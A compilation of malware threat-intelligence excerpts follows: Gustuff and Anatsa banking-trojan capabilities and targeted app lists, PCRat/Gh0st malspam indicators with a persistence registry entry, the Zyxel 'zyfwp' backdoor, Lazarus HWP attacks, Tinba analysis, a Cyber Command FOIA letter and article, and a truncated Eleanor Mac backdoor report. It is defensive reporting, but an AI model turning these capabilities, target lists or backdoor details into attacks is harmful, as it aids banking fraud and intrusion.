#### Gustuff.C
| Name | Description |
|---------------------|-------------|
| Clipboard | The malware can extract data from or insert data into the device’s clipboard. |
| App auto-start | The malware starts automatically when the device is turned on or restarted. |
| Updatable | The malware can update itself. |
| Emulation detection | The malware can detect whether or not it is running on a real device. |
| App termination | The malware can terminate apps. |
| Preventing removal | The malware can prevent its removal. |
| Hiding the app icon | The malware can hide its icon from the application drawer. |
| SMS C2 | The malware is able to receive commands using incoming text messages. |
| C2 update | The malware can update the C2 using a new value/list of values received from the original C2. |
| Alerts | The malware can issue Android alerts with arbitrary text. |
| Push notifications | The malware can show push notifications. |
| Screen locking | The malware can lock the screen of the infected device. |
| Automated Transfer System | The malware uses an AccessibilityService to control the infected device and perform automated payments using the targeted banking apps. |
| Web pages | The malware can show arbitrary web pages on the infected device. |
| App removal | The malware can remove applications. |
| App starting | The malware can start applications. |
| App installing | The malware can install applications. |
| SMS spamming | The malware can perform SMS spam campaigns. |
| SMS sending | The malware can send SMS messages. |
| Target list update | Actors can configure targets for overlay phishing attacks dynamically. |
| Files/pictures collection | The malware can access the file system of the infected device and upload its content to the C2. |
| Application listing | The malware can access the list of all installed applications and send it to the C2. |
| Contact list collection | The malware can read the contact list of the infected device and send it to the C2. |
| Device info collection | The malware can access device-related information (SIM, build info, settings) and send it to the C2. |
| Accessibility event logging | The malware uses an AccessibilityService to get a stream of events happening on the device and send it to the C2. |
| SMS forwarding | The malware can forward all incoming SMS messages to a phone number controlled by actors. |
| SMS listing | The malware can access the content of SMS messages and send it to the C2. |
| Keylogging | The malware can log the victim’s keystrokes and send them to the C2. |
| Dynamic overlaying | The malware can show phishing screens to steal information. Phishing screens are retrieved from the C2. |
## Targets
### Anatsa.A
- com.db.pwcc.dbmobile
- com.db.pbc.miabanca
- de.fiducia.smartphone.android.banking.vr
- es.ibercaja.ibercajaapp
- com.bbva.bbvacontigo
- com.mobileloft.alpha.droid
- de.commerzbanking.mobil
- com.cajasur.android
- net.inverline.bancosabadell.officelocator.android
- es.lacaixa.mobile.android.newwapicon
- com.rsi
- eu.unicreditgroup.hvbapptan
- com.binance.dev
- es.bancosantander.apps
- de.sdvrz.ihb.mobile.secureapp.sparda.produktion
- piuk.blockchain.android
- de.postbank.finanzassistent
- es.openbank.mobile
- es.cm.android
- es.liberbank.cajasturapp
- de.ingdiba.bankingapp
- es.univia.unicajamovil
- com.grupocajamar.wefferent
- de.santander.presentation
- de.comdirect.android
- app.wizink.es
- com.coinbase.android
- com.starfinanz.smob.android.sfinanzstatus
- com.kutxabank.android
- vivid.money
- de.traktorpool
- www.ingdirect.nativeframe
### Gustuff.C
- au.com.bankwest.mobile
- au.com.ingdirect.android
- au.com.nab.mobile
- au.com.suncorp.SuncorpBank
- au.com.ubank.internetbanking
- bcc.org.freewallet.app
- bcn.org.freewallet.app
- btc.org.freewallet.app
- btg.org.freewallet.app
- o.edgesecure.app
- com.airbitz
- com.android.vending
- com.anz.android
- com.anz.android.gomoney
- com.arcbit.arcbit
- com.barclays.android.barclaysmobilebanking
- com.barclays.bca
- com.bitcoin.mwallet
- com.bitcoin.wallet
- com.bitpay.copay
- com.bitpay.wallet
- com.bitpie
- com.btcontract.wallet
- com.circle.android
- com.citibank.mobile.au
- com.coinbase.android
- com.coincorner.app.crypt
- com.coinspace.app
- com.commbank.netbank
- com.cooperativebank.bank
- com.grppl.android.shell.BOS
- com.grppl.android.shell.CMBlloydsTSB73
- com.grppl.android.shell.halifax
- com.hashengineering.bitcoincash.wallet
- com.kibou.bitcoin
- com.kryptokit.jaxx
- com.lloydsbank.businessmobile
- com.moneybookers.skrillpayments
- com.monitise.client.android.yorkshire
- com.nearform.ptsb
- com.plutus.wallet
- com.qcan.mobile.bitcoin.wallet
- com.rbs.mobile.android.natwest
- com.rbs.mobile.android.rbs
- com.westernunion.android.mtapp
- com.wirex
- com.xapo
- de.schildbach.wallet_test
- distributedlab.wallet
- eth.org.freewallet.app
- lt.spectrofinance.spectrocoin.android.wallet
- me.cryptopay.android
- net.bither
- org.banksa.bankß
- org.bom.bank
- org.electrum.electrum
- org.stgeorge.bank
- org.vikulin.etherwallet
- org.westpac.bank
- piuk.blockchain.android
- tsb.mobilebanking
- uk.co.hsbc.hsbcukbusinessbanking
- uk.co.hsbc.hsbcukmobilebanking
- uk.co.mbna.cardservices.android
- uk.co.metrobankonline.mobile.android.production
- uk.co.santander.businessUK.bb
- uk.co.santander.santanderUK
- uk.co.tescomobile.android
- uk.co.tsb.newmobilebank
|
# MALSPAM PUSHING PCRAT/GH0ST
## ASSOCIATED FILES:
- Zip archive of the pcap: 2018-01-04-PCRat-gh0st-traffic.pcap.zip (1.7 kB)
- 2018-01-04-PCRat-gh0st-traffic.pcap (5,009 bytes)
- Zip archive of the email, malware, and artifacts: 2018-01-04-PCRat-Gh0st-email-malware-and-artifacts.zip (701 kB)
- 2018-01-04-malspam-pushing-PCRat-Gh0st-1813-UTC.txt (256,098 bytes)
- RasTls.dat (149,816 bytes)
- RasTls.dll (45,056 bytes)
- RasTls.exe (107,848 bytes)
- Very beautiful.exe (393,216 bytes)
- Very beautiful.zip (185,607 bytes)
## NOTES:
The zip attachment is password-protected with 123 as stated in the malspam. Post-infection activity triggered an EmergingThreats alert for PCRat/Gh0st CnC traffic.
## WEB TRAFFIC BLOCK LIST
Indicators are not a block list. If you feel the need to block web traffic, I suggest the following URLs and domain:
- www.etybh.com
## EMAIL INFORMATION:
- Date: Wednesday, 2018-01-03 at 18:13 UTC
- Subject: Very beautiful
- From: [email protected]
- To: [a very long list of recipients]
- Message-Id: <[email protected]>
- Attachment name: Very beautiful.zip
## ASSOCIATED TRAFFIC:
- 98.126.223.218 port 900 - www.etybh.com - PCRat/Gh0st CnC traffic
## MALWARE
### ZIP ARCHIVE FROM THE MALSPAM:
- SHA256 hash: 067d5729b4787fc667c061b027625be4273806c64beacfb6877fc7f182f9ed37
- File size: 185,607 bytes
- File name: Very beautiful.zip
### MALICIOUS EXECUTABLE EXTRACTED FROM THE ZIP ARCHIVE:
- SHA256 hash: 423f4c1f9ba4f184ff6e82db4f01420feb7b76693bdece6402fc2157c0c2f946
- File size: 393,216 bytes
- File name: Very beautiful.exe
### EXECUTABLE FROM THE INFECTED WINDOWS HOST:
- SHA256 hash: f9ebf6aeb3f0fb0c29bd8f3d652476cd1fe8bd9a0c11cb15c43de33bbce0bf68
- File size: 107,848 bytes
- File location: C:\Microsoft\TEMP\Networks\Connections\Sementech\sementech\RasTls.exe
**NOTE:** This is apparently a legitimate file abused by various Trojans for DLL side-loading.
### DLL FROM THE INFECTED WINDOWS HOST:
- SHA256 hash: a392f8f96ffc53978b177d844ef17adb09c6329997f29334e5c2029e8f5f18e8
- File size: 45,056 bytes
- File location: C:\Microsoft\TEMP\Networks\Connections\Sementech\sementech\RasTls.dll
### WINDOWS REGISTRY ENTRY FOR PERSISTENCE:
- Registry Key: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
- Value name: Load
- Value Type: REG_SZ
- Value Data: cmd /c C:\Microsoft\TEMP\Networks\Connections\Sementech\sementech\RasTls.exe
## FINAL NOTES
Once again, here are the associated files:
- Zip archive of the pcap: 2018-01-04-PCRat-gh0st-traffic.pcap.zip (1.7 kB)
- Zip archive of the email, malware, and artifacts: 2018-01-04-PCRat-Gh0st-email-malware-and-artifacts.zip (701 kB)
ZIP files are password-protected with the standard password. If you don't know it, look at the "about" page of this website. |
# Hackers Start Exploiting the New Backdoor in Zyxel Devices
**By Lawrence Abrams**
**January 6, 2021**
**03:00 AM**
Threat actors are actively scanning the Internet for open SSH devices and trying to log in to them using a newly patched Zyxel hardcoded credential backdoor. Last month, Niels Teusink of Dutch cybersecurity firm EYE disclosed a secret hardcoded backdoor account in Zyxel firewalls and AP controllers. This secret 'zyfwp' account allowed users to log in via SSH and the web interface to gain administrator privileges.
In an advisory, Zyxel states that they used the secret account to deliver firmware updates via FTP automatically. This backdoor is a significant risk as it could allow threat actors to create VPN accounts to gain access to internal networks or port forward internal services to make them remotely accessible and exploitable.
## Threat Actors Actively Scan for Zyxel Backdoor
Yesterday, cybersecurity intelligence firm GreyNoise detected three different IP addresses actively scanning for SSH devices and attempting to log in to them using the Zyxel backdoor credentials. GreyNoise CEO Andrew Morris told BleepingComputer that the threat actor does not appear to be scanning specifically for Zyxel devices but is instead scanning the Internet for IP addresses running SSH. When SSH is detected, it will attempt to brute force an account on the device, with one of the credentials tested being the new Zyxel 'zyfwp' backdoor account.
Of particular interest is that one of the IP addresses is using the built-in SSH client of Cobalt Strike to perform the scans. Morris told BleepingComputer that the actor might be scanning this way to evade threat intelligence vendors. Since May of this year, GreyNoise has observed an unknown actor quietly fingerprinting SSH honeypots on the Internet, exclusively through Tor. The actor is using Cobalt Strike's SSH client. This is likely being done to avoid threat intelligence vendors.
Zyxel released the 'ZLD V4.60 Patch 1' last month that removes the backdoor accounts on firewall devices. Zyxel announced yesterday that they would release the patch for AP controllers on January 8th, 2021. BleepingComputer strongly recommends that all users install the patch as soon as possible to prevent threat actors from gaining access to vulnerable networks, deploying ransomware, or stealing data. |
# 라자루스(Lazarus), 소명자료요구서로 위장한 '무비 코인' 캠페인 지속
**보안공지 2019-08-20**
2019년 08월 13일 제작된 신규 악성 HWP 문서가 발견되었는데, 이번에는 국세청 관련 문서처럼 사칭한 공격이었습니다. 해당 악성코드를 조사해 본 결과, 지난 6월부터 7월까지 국내에서 지속적으로 발견되고 있는 '무비 코인(Movie Coin)' 시리즈로 분석되었습니다.
| 제목 | 마지막 저장시간 (UTC) | 마지막 저장자 | MD5 |
| --- | --- | --- | --- |
| 별지 제172호 서식 | 2019-08-13 02:32:05 | User | 7bece42a704800a6686cad43d3f5ee62 |
라자루스(Lazarus) APT 그룹의 오퍼레이션 '무비 코인' 시리즈 관련 글은 아래와 같고, 지난 6월부터 8월까지 지속적인 활동이 포착되고 있습니다. 이번까지 총 7번째 리포팅이 진행되고 있습니다.
- 전방위 '무비 코인' APT 작전을 수행하는 Lazarus 그룹 위협 증대 (2019. 07. 23)
- 암호화폐 거래소 회원 겨냥한 무비코인 작전 지속… 배후에 ‘라자루스’ 조직 (2019. 07. 19)
- 라자루스(Lazarus) APT 그룹, 신상명세서 문서로 위장한 공격 수행 (2019. 07. 15)
- 라자루스, 시스템 포팅 명세서 사칭한 APT작전 '무비 코인'으로 재등장 (2019. 07. 12)
- 암호화폐 거래자를 노린 Lazarus APT 공격 가속화 (2019. 07. 02)
- 라자루스(Lazarus) APT 그룹, 암호화폐 투자계약서 사칭 무비 코인 작전 (2019. 06. 20)
오퍼레이션 '무비 코인'의 경우, 위협 배후에 대표적 정부 후원 해킹 조직인 '라자루스(Lazarus)' 그룹이 존재하는 것으로 알려져 있으며, 국내 유명 암호화폐 거래소에 가입되어 있던 회원들이 주요 공격 대상에 포함되어 있습니다.
## 라자루스 APT 조직, 사이버 공격을 통한 금전적 수익 시도 지속적 수행
이번 공격에 사용된 악성 HWP 문서는 기존과 마찬가지로 마지막 저장 계정이 'User'이며, 동일한 포스트스크립트(PostScript) 취약점을 활용했습니다. 그리고 인터넷에 공개되어 있는 실제 공문서 양식(재산취득 자금출처에 대한 소명자료 제출)에 악성 스크립트를 삽입했습니다. 인터넷에 공개되어 있는 정상 문서에는 아래와 같이 앞면과 뒷면 2장으로 구성되어 있지만, 악성 문서에는 뒷면의 '소명자료 제출 요구서' 내용만 포함되어 있습니다.
공격자는 실제 정상 문서 내용을 도용해 악성코드를 삽입하여 공격에 활용하였습니다. 이번과 유사한 공격 기법은 이미 지난 2017년 05월 '납세담보변경요구서' 등의 악성 HWP 파일이 다수 보고된 바 있고, 그 이후로도 변종 HWP 파일이 다양한 유형으로 공격이 수행되었습니다.
특히, 한국의 특정 암호화폐 거래소 직원 및 회원들을 대상으로 집중적인 공격이 수행되었습니다. 아래는 2017년부터 2018년까지 발견됐던 유사 변종 사례 중 시간 흐름으로 일부만 정리한 것입니다. 주로 HWP 취약점이 사용되지만, 공격 대상에 따라 XLS, DOC 매크로 기능을 활용한 방법도 사용되었습니다. 당시 악성 문서 파일 제작자는 비슷한 컴퓨터 계정을 사용하였습니다. 주로 'jikpurid', 'David', 'Administrator', 'Tiger', 'User', 'alosha' 등이고, 최근에는 'User' 계정이 계속 쓰이고 있습니다.
| 파일명 | 마지막 저장 시간 (UTC) | 마지막 저장자 | MD5 |
| --- | --- | --- | --- |
| report.xls | 2017-03-20 15:45:31 | David (작성자 : jikpurid) | c272af488ff4c4af2941fd83b1484f33 |
| 이력서.hwp | 2017-04-28 04:40:50 | Administrator (작성자 : jikpurid) | 2963055f30a0c04a4e7abf97b1d54faa |
| 데이터.hwp | 2017-05-02 04:48:11 | jikpurid (작성자 : jikpurid) | 0a355fb170b46479fee2796531a7f2ed |
| 납세담보변경요구서.hwp | 2017-05-16 00:49:41 | Administrator | 954de3d332e5de9889e8cc8936f7c83e |
| 세무조사준비서류.hwp | 2017-05-22 06:57:21 | Administrator | f47ea4c8943f868d67cf69bb0770ab27 |
| 법인(개인)혐의거래보고내역.hwp | 2017-05-22 10:07:15 | jikpurid | f3c9b8f10a4982f898f755f0b352a53f |
| 환전_해외송금_한도_및_제출서류.hwp | 2017-05-29 04:05:14 | Administrator | 0f41c221b8ed10540e4f8ac4b125898e |
| 국내 가상화폐의 유형별 현황 및 향후 전망.hwp | 2017-06-12 06:45:54 | Tiger | b84e781bbff0bbff63f3d88c6ce4d84e |
| 이력서(김정희).hwp | 2017-06-16 02:54:41 | User (작성자 : jikpurid) | 64054e877f48522f8a04a183843a9a39 |
| 입사지원서(곽정민).hwp | 2017-06-16 02:58:01 | User | 5cf5bac15c27cc140cc482c722a81b0d |
| [가상화폐 법률] 국가별 가상화폐 허용 현황.hwp | 2017-06-19 01:34:58 | Tiger | be2d8ac855b605cce98bec3f8d334ce3 |
| 예금질권설정 서류안내(핀테크기업).hwp | 2017-07-10 05:04:34 | Administrator | a007249e09dd915d7c1c8072ad86b18a |
| 비트코인_지갑주소_및_거래번호.hwp | 2017-07-31 07:40:07 | Administator | ec7ba18cc775a58647943e16d51d01ac |
| (대검)2017임시113호(마약류 매매대금 수익자 추정 지갑주소 164건).hwp | 2017-08-04 00:57:10 | Administrator | f420757270d0987148b950f2066bbbab |
| 전산 및 비전산 자료 보존요청서.hwp | 2017-08-10 05:23:20 | User | 1c0ee8e91704ca11cb4b9825541e8f7a |
| 스트리미_조사사전예고통지 (1).hwp | 2017-08-10 06:05:16 | User | 2cd28ee74910be7a023d10e3860eae5c |
| 반성문.hwp | 2017-08-16 10:32:25 | alosha | d4a8acca0c0af629f600234d230ab0cf |
| 유병록 입사지원서.hwp | 2017-09-19 03:09:35 | alosha | 7de8b065e2587765fca5a163f958637d |
| 한국블록체인협회_가입의향서.hwp | 2017-09-21 04:47:53 | alosha | 0b93a989d776d627f9e079b03af0dc46 |
| 비트코인 관련 주요 범죄 수사결과.hwp | 2017-10-13 03:18:57 | alosha | ce3350131bbfca1a330dad62653a132d |
| [붙임]조사 당일 구비하여야 할 서류 1부.hwp | 2017-10-17 08:30:00 | 김미숙 | 87c748f59f97dfb29b48079532b39e5c |
| 김다은.hwp | 2017-11-01 03:32:38 | alosha | e50256b8e8496a030561f5ad6d9bda1e |
| 김지예.hwp | 2017-11-29 17:44:32 | alosha | a687afc6a4540e5d44078aa933feecb6 |
| 정아경.hwp | 2017-11-30 18:22:59 | alosha | a6dd0124fb5cb054f1614f13f3f2fe48 |
| (업체명)_가상화폐_거래소_정보보호_현황_자체점검표.hwp | 2017-12-14 17:54:48 | Administrator | 8d7f9eef073b1971dfc1a231cdda9d30 |
| 가상화폐와 각국의 규제정책.hwp | 2018-02-22 07:45:43 | Administrator | e2cba0052fd8717fe33d5f8744cfd2a1 |
| 이학영_의원실_암호통화의_경제적_의미와_정책대응방향_토론회내지.hwp | 2018-02-24 07:53:40 | Administrator | a5892a400c85fd1a5053ca5caca742a7 |
## 소명 자료 제출 요구서를 사칭한 코드 분석
소명 자료 제출 요구서로 위장한 악성 HWP 문서 파일은 2019년 08월 13일 코드가 저장되었으며, 'BinData' 스트림에 'BIN0001.PS' 포스트스크립트(PostScript) 코드가 포함되어 있습니다.
포스트스크립트에는 다음과 같이 구성되어 있으며, 16바이트(39 C3 B2 70 05 85 3E 98 66 1C 8B BC 1B DD EA F8>)로 XOR 로직으로 암호화 되어 있습니다.
복호화가 진행되면 2번째 포스트스크립트(PostScript) 코드가 나타나게 되며, 내부에 쉘코드(Shellcode) 로드를 수행하게 됩니다. 쉘코드 명령에 의해 특정 웹 서버 주소로 연결을 시도하게 되며, 감염된 윈도우즈 시스템에 따라 32비트용, 64비트용 암호화된 악성코드가 선택됩니다.
최종 악성 모듈은 3개의 명령제어(C2) 서버로 통신을 시도하며, 감염된 컴퓨터의 정보를 유출 시도하고, 공격자의 추가 명령을 대기하게 됩니다.
ESRC는 이 3개의 C2 도메인을 조사하는 과정 중에 흥미로운 점을 발견했습니다. C2 서버 3곳 모두 거의 동일한 시점에 동일한 곳에서 등록되었다는 것입니다. 이런 점을 유추해 볼 때 공격자가 직접 C2 서버를 등록하고 구축해 사용했을 가능성도 배제할 수 없습니다. 최근까지 워드프레스 기반의 웹 서버가 C2 호스트로 악용되었습니다.
## 결론
이처럼 최근 비트코인, 이더리움 등 암호화폐를 거래하는 이용자를 대상으로 한 꾸준한 APT 공격이 수행되고 있습니다. 특히, HWP 취약점을 이용한 스피어 피싱(Spear Phishing) 공격이 은밀하게 진행되고 있으므로, 사용 중인 문서 소프트웨어를 반드시 최신 버전으로 업데이트하여야 하고, DOC, XLS 파일의 매크로 실행은 절대 허용하지 않는 것이 좋겠습니다. |
# Tinba Malware Reloaded and Attacking Banks Around the World
**By Assaf Regev co-authored by Tal Darsan**
**September 22, 2014**
**5 min read**
**Julia Karpin contributed research for this blog.**
IBM Security Trusteer researchers, in addition to those from Avast, recently identified a new variant of the Tinba malware, which had its source code leaked in July. The variant is exhibiting some interesting new features, including techniques to bypass automated security controls and the ability to “phone home,” even if the original command-and-control (C&C) center has been taken down.
Initially, only a handful of financial institutions were targeted. However, at the time of this posting, this attack had broadened to include a larger number of banks globally — including the United States and Canada. Our research teams have been tracking and flagging these files as malicious with a combination of low (2/55) and high (22/53) detection rates in VirusTotal (VT) in addition to samples that have yet to be submitted to VT.
According to an analysis conducted by IBM Trusteer researchers, the malware seems to have been assembled from the leaked source code of the well-known Tinba malware, one of the most sophisticated financial malware toolkits available today. Since the leak of Tinba’s source code in July, new functionality has appeared, improving malware stealth, recovery mechanisms against takedown attempts, and new behavioral changes.
## Tinba’s New Behavioral Changes Include:
- **Domain Generation Algorithm (DGA):** Refers to a fallback mechanism for a bot to “call home” in case the original C&C has been taken down.
- **Public Key Signing:** Refers to a verification mechanism guaranteeing that a message could only be sent from an authentic bot herder.
- **Preloaded Configuration:** The malware is configured to attack at the time of infection (even with no C&C connectivity).
- **Advanced Encryption Methods:** An additional (machine-dependent) encryption layer has been added.
- **User-Mode Rootkit Capabilities:** A means of hiding its traces and evading detection, even from advanced users.
## Technical Analysis: From the Dropper to the Browser
After the dropper is executed, it generates a folder name using a hard-coded key XORed with the machine’s volume-serial number. The resulting hexadecimal string is used both in the malware’s folder and mutex names. The malware executable file name is hard-coded and hasn’t changed since the original Tinba.
Following that, the malware installs hooks on functions such as NtResumeThread, NtCreateUserProcess, and NtCreateThread, which allow it to stealthily propagate in the system. Furthermore, it hooks NtQueryDirectoryFile and NtEnumerateValueKey in order to hide its folder and run key from advanced users.
## Tinba Malware Phones Home
Tinba is joining Gameover Zeus in an attempt to improve communication capabilities with the C&C by having a fallback in the form of a DGA. Initially, it attempts to communicate with a hard-coded C&C server, and in case of failure, it starts using one of its fallback-generated domains.
An additional feature of the new strain is the usage of the crypt32 Windows library in order to authenticate the server against a challenge response. The infected machine sends a request comprising several timestamp counters (counting the number of CPU cycles since reset) concatenated together. This technique ensures a unique challenge is sent every time, so intercepting one challenge does not suffice to impersonate the C&C server. This message is encrypted with RC4 (like all of Tinba’s communication) and then sent to the server. A hash of the message is created using SHA-1. The hash is then encrypted with a private key on the server’s side and returned as part of the response. The response itself is authenticated by the malware using the Windows API CryptVerifySignatureA with a hard-coded public key.
It is important to note that without proper authentication, the communication routine will not continue, and the authentication process will repeat forever. Following a successful authentication, the communication routine repeats itself several times and then attempts to authenticate again. This is done in gradually expanding intervals.
## Configuration
As opposed to previous Tinba strains, the new one comes with a preloaded configuration. If the browser is launched while the malware was unable to download a configuration, the preloaded, hard-coded one will be used instead. In addition, on top of the RC4 decryption layer used in previous strains, the new strain adds a pre-step of XOR with the volume serial and a post-step of decompression using aPLib.
## Automatic Transfer System Engine
In some recent configurations, we’ve discovered an interesting gem: the use of an ATSEngine panel, similar to the latest versions of Zeus, such as Citadel and ZeusVM. Tinba configuration contains web injects of external malicious Javascript code. This malicious code is capable of applying dynamic web injects in a large number of online banking websites. It adjusts the web inject to the exact look and feel of the original website.
These dynamic web injects are part of the ATSEngine infrastructure that enables the attacker to collect multiple data elements, such as the victims’ credit card type (credit, debit), CVV, PIN, and SSN. The fraudster can then use a man-in-the-browser attack to transfer the available balance to a third party (a money mule), who withdraws the funds and sends them to the attacker in an untraceable way.
## Sample MD5s
| MD5 | First seen | Campaign |
|---------------------------------------|------------|-----------|
| 29f83c2c462deac10f3d06c42cc82f7e | 09/09/14 | Canadian |
| f5b486f92d336a5f3385314a70373ded | 30/08/14 | Global |
| bc6ede0ee763a67a016642f737d07bd6 | 28/08/14 | Global |
## Conclusion
Since the Tinba source code leak in July, Tinba has been spotted in various locations across the globe with new features and functionality. This serves as a reminder that cybercriminals are fully aware of reverse engineers and researchers analyzing their products; they are constantly developing new tactics and methods while attempting to stay under the radar and bypass automated and human security controls.
IBM Security Trusteer researchers and threat analysts are closely monitoring this variant while providing appropriate protection against this new threat, using either IBM Security Trusteer Rapport or IBM Security Trusteer Pinpoint Malware Detection to provide protection against this type of financial malware and many others. These solutions can detect, mitigate, and remediate infections to protect the enterprise and your customers.
**Assaf Regev**
Assaf Regev serves as the product marketing manager for the web fraud portfolio of Trusteer, an IBM Company, part of IBM’s Security Systems division. |
# DEPARTMENT OF DEFENSE
## UNITED STATES CYBER COMMAND
9800 SAVAGE ROAD, SUITE 6171
FORT GEORGE G. MEADE, MARYLAND 20755
FEBRUARY 1, 2021
Runa Sandvik
MuckRock News
DEPT MR 106429
411 A Highland Ave
Somerville, MA 02144-2516
Re: 21-R019
Dear Ms. Sandvik,
Thank you for your January 1, 2021, Freedom of Information Act (FOIA) request for material regarding "the creation of the 2020 Corn RAT v4 illustration" as seen on Twitter. We have located and reviewed 21 pages of material responsive to your request. As the Initial Denial Authority, I have determined that the redacted information is exempt from disclosure under the FOIA, Title 5, United States Code, section 552(b)(1), (b)(3), (b)(5), and (b)(6). Enclosed are details of the specific exemptions cited.
If you are not satisfied with our action on this request, you may seek dispute resolution services from the DoD FOIA Public Liaison or the Office of Government Information Services. You also have the right to file an administrative appeal. Information about these services is enclosed.
**Attachments:**
Enclosure a/s
**FOIA Exemptions Cited:**
(b)(1) - information properly and currently classified in the interest of national defense or foreign policy, pursuant to Executive Order 13526, Classified National Security Information: 10 U.S.C. § 130b, personally identifying information of DoD personnel in sensitive units.
Section 1.4(a) - military plans, weapons systems, or operations.
10 U.S.C. § 130e, defense critical infrastructure security information.
Section 1.4(c) - intelligence activities (including covert action), intelligence sources or methods, or cryptology.
(b)(5) - inter- or intra-agency memoranda containing information that is deliberative and pre-decisional.
(b)(6) - information in personnel and medical files and similar files, the disclosure of which would constitute a clearly unwarranted invasion of personal privacy.
**DoD FOIA Public Liaison:**
Ms. Melissa Walker
Phone: (571) 371-0462
Email: [email protected]
**Administrative Appeal:**
Ms. Joo Chung
ODCMO Director of Oversight and Compliance
4800 Mark Center Drive
ATTN: DPCLTD, FOIA Appeals
Mailbox #24
Alexandria, VA 22350-1700
Email: [email protected]
*Appeal should cite case number above, be clearly marked "FOIA Appeal" and filed within 90 calendar days from the date of this letter.*
---
**How the Pentagon is trolling Russian, Chinese hackers with cartoons**
Written by Shannon Vavra
There's little that Russian hackers hate more than being seen as soft. So when U.S. military hackers saw a way to publicly portray them as bumbling and unthreatening in recent weeks, they seized the moment.
It all began when Cyber Command, the U.S. Department of Defense's offensive cyber arm, started working with a graphics company to illustrate foreign government hackers. The military realized it could punch up the reports it releases on foreign hacking operations by adding illustrations, and try to embarrass or infuriate the foreign hacking shops along the way, one U.S. official told CyberScoop.
In one case, when Cyber Command started making plans to expose some state-sponsored espionage operations tied to Russia's Federal Security Service (FSB), the country's KGB successor, they turned to the graphics company to develop images that would goad the Russians, the official said.
"Russia hates to be seen as cuddly or cozy so we want to tick them off," said the official, who was not authorized to speak with the press.
The best way to do that, the military hackers decided, was to represent the FSB hackers as an endearing, if bumbling, bear. The cybersecurity community has long used names with references to bears to identify Russian hacking outfits, such as Cozy Bear and Fancy Bear, the hacking groups behind the 2016 breach of the Democratic National Committee.
An implant dropper dubbed #ComRATv4 was recently attributed by @CISAgov and @FBI to Russian sponsored APT, Turla. It was likely used to target ministries of foreign affairs and national parliament.
@CNMF_CyberAlert continues to disclose #malware samples.
The art that the cybersecurity community uses to portray Russian hackers has typically shown burly or ferocious bears, but Cyber Command wanted to avoid giving the Russian hackers an ego boost, the official said.
"We don't want something they can put on T-shirts," the U.S. official said. "We want something that's in a PowerPoint their boss sees and he loses his shit on them."
The result was an Oct. 29 report that shows a bear tripping over itself and spilling Halloween candy out of a pumpkin trick-or-treat bucket.
The effort to irritate the hackers is just the newest chapter in a broader Cyber Command effort to undermine foreign government cyber-operations. Cyber Command has been publishing samples of malicious software used by foreign hackers in recent years as part of an initiative aimed at getting the cybersecurity community to protect against adversaries' malware, thereby making the hacking less effective. The program is also aimed at sending a warning shot to foreign hackers that the U.S. government is tracking them.
Historically, this kind of taunting has been a way to boost morale at home, according to Pablo Breuer, the former director of U.S. Special Operations Command Donovan Group.
"When you go back to the heyday of information campaigns, go to World War II, and you look at the messaging governments did to their own populace, it was either a positive messaging about yourselves or it was negative messaging against the adversary," said Breuer, who previously worked at Cyber Command and the National Security Agency. "I think the silly graphics are more about messaging to the U.S. government and populace and branding: 'If the adversary is not that good, then Cyber Command must be really good.'"
The first time Cyber Command wanted to share a mocking graphic about foreign hackers, the contractors had to redraft their sketches because the first one wasn't silly enough, the U.S. official said. The graphics company's task was to depict suspected Chinese government's malware, which Cyber Command called "Slothful Media" for its lazy coding techniques. In the end, when the command released the novel image, Cyber Command's Twitter followers reacted with jests and playful comments marveling at the portrayal.
"Our original graphic idea for 'Slothful Media' had to change because we realized it would be too cool," the official said, in recognition of the fact that the government runs the risk of unnecessarily inflating the adversary if the graphics are improperly executed. "Better to mock."
The official declined to share details about what made the original image too "cool," but the graphics company eventually produced an image of a cartoon-like sloth wearing headphones and crawling over to a laptop.
A relatively new implant, which we have dubbed #SlothfulMedia, has been used to target victims in a number of countries, including India, Kazakhstan, Kyrgyzstan, Malaysia, Russia, and Ukraine.
The graphics program is just over a month old, during which time Cyber Command only exposed hacking operations from Russia and China. That means the command has not, to date, published teasing graphics about hackers from Iran and North Korea, two of the country's other chief digital adversaries.
**Strategic aims**
Dan Hoffman, a former chief of station at the CIA, told CyberScoop he thinks the publication of these graphics may not be overwhelmingly upsetting to Moscow or Beijing. "You're definitely not going to influence the bad guys. They don't care," said Hoffman, whose tours of duty in the CIA included time in the former Soviet Union. "Maybe they don't like to be named and shamed but at the end of the day what Vladimir Putin would do at least is say, 'You named and shamed us? Ok we're gonna grab a shot of vodka and go back to work.'"
But the graphics tactic could be effective in signaling there may be harsher consequences down the road, Hoffman added. In recent years Cyber Command has been working to bolster the arsenal of responses it can use to deter foreign government hackers. The strategy, known as "persistent engagement," has led Cyber Command to shut down Russian social media trolls' internet access in one case, and in another, to send direct messages to Russian government actors to deter them from running election-related influence campaigns.
"They're talking about persistent engagement and that's what they're doing with the graphics - they're taking the fight to the enemy and saying if you're going to shoot at us we're going to go find and shoot you in the face so you can't shoot at us anymore," Hoffman said. "We don't want to go 'cyber nuclear war' with you... we’ll shut you down at a playful level first with graphics, and we can escalate."
The cost of the cartoonish graphics alone, however, may not be great enough to change adversary behavior, according to Breuer. "If Cyber Command is trying to send a message the adversary is trivial, the adversary is laughing on the way to the bank - because their cyber-operations are still remarkably successful," said Breuer, who now works at Cognitive Security Collaborative. "What real consequence is there to China and Russia from doing this? Compared to the value our adversaries are getting from these cyber-operations, they're just going to look at it as the cost of business."
Even if the graphics don't irk the foreign hackers, Cyber Command hopes they may prompt antivirus companies to pay more attention to the command's malware warnings, the U.S. official said. "It increases engagement in the community, which gets more attention on the malware, so worse for the actors. Wins all around," the official said. "The community here is [having] fun with it, so that drives engagement on the stuff we want caught, and theoretically improves detection."
A Cyber Command spokesperson said the command "develops visual imagery to engage with the cybersecurity community on malware disclosures and vulnerability alerts. We recognize the key role that industry plays in ensuring global cybersecurity defense against malicious cyber actors, and so we leverage social media best practices to enhance messaging with industry." |
# New Backdoor Allows Full Access to Mac Systems, Bitdefender Warns
A new piece of malware, dubbed Backdoor.MAC.Eleanor by Bitdefender researchers, exposes Apple systems to cyber-espionage and full, clandestine control from malicious third-parties. The backdoor is embedded into a fake file converter application that is accessible online on reputable sites offering Mac applications and software. The EasyDoc Converter.app poses as a drag-and-drop file converter, but has no real functionality – it simply downloads a malicious script.
The script installs and registers the following components to system startup:
## Tor Hidden Service
This component creates a Tor hidden service that allows an attacker to anonymously access the control-and-command center from the outside – a local web server dubbed Web Service (PHP) – via a Tor-generated address.
## Web Service (PHP)
